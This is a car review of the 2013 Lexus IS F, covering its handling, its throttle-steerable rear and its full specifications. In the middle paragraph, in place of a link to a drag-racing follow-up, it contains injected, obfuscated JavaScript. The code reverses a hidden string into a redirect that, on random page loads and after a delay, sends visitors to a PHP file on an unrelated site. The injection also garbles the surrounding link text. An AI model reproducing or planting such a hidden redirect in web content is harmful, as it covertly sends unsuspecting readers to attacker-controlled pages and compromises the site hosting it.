Thanks to the low stance and ride height, balance in the IS F is good, even despite the saloon’s tendency to understeer in some of the tighter corners when you’re really on it. You won’t waste too much time focusing on that though, since a dab of extra oomph to the right pedal encourages the rear tyres to step out. Suddenly the gelding’s aggression turns to grace: playing with the throttle rather than frantically scrabbling at the steering wheel for composure soon brings the animal under control.
But drop down below the magic 3500 rev mark (easy enough to do, since feel for the brakes is very good), and the bucking bronco once again transforms into a show horse, the vim and vigour demonstrated just seconds early gone almost as quickly as it had arrived.
An interesting proposition then. Clearly the 2013 IS F brings little that is new to the starting gates, but what it does will no doubt leave you shaking your head and grinning like an idiot. And that got us thinking. Normally at this point crankandpiston’s time with the Lexus would be done, the team dusting off its hands and patting itself on the back for another job well done. But that didn’t seem right. The intermittent eccentricity of the IS F, plus the animalistic burst of speed and drama unearthed when we properly cracked the crop, seemed worthy of another location. Such as the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-lexus-is-f-a-night-of-drag-racing/” target=”_blank”>Yas Drag Racing Centre.
Are we joking? You’ll just have to wait and see.
| 2013 Lexus IS F | |
|---|---|
| Engine: | V8 / 5.0-litre |
| Power: | 416hp @ 6600rpm |
| Torque: | 371lb ft @ 5200rpm |
| Transmission: | Eight-speed Sport Direct Shift automatic / paddle shift and manual mode / rear-wheel drive |
| Front suspension: | Double wishbone with high-mount upper arms / high-rate coil springs with bound stopper / monotube gas-filled shock absorbers / large-diameter hollow stabilizer bar |
| Rear suspension: | Multilink with low-mount upper arms / high-rate coil springs with bound stopper / monotube gas-filled shock absorbers / large-diameter stabilizer bar |
| Brakes: | Four-wheel power-assisted disc brakes (Brembo manufactured for Lexus) / Anti-lock Braking System (ABS) / Electronic Brake force Distribution (EBD) / Brake Assist |
| Wheels: | 19in x 8.5 in. (front) / 19 x 9.5 in. (rear) / forged aluminum (BBS manufactured for Lexus) |
| Tyres: | 225/40 R19 (front) / 255/35 R19 (rear) |
| Weight (kerb) | 3780lbs (1714kg) |
| 0-100kph: | 4.6sec |
| Top speed: | 170mph (274kph) |
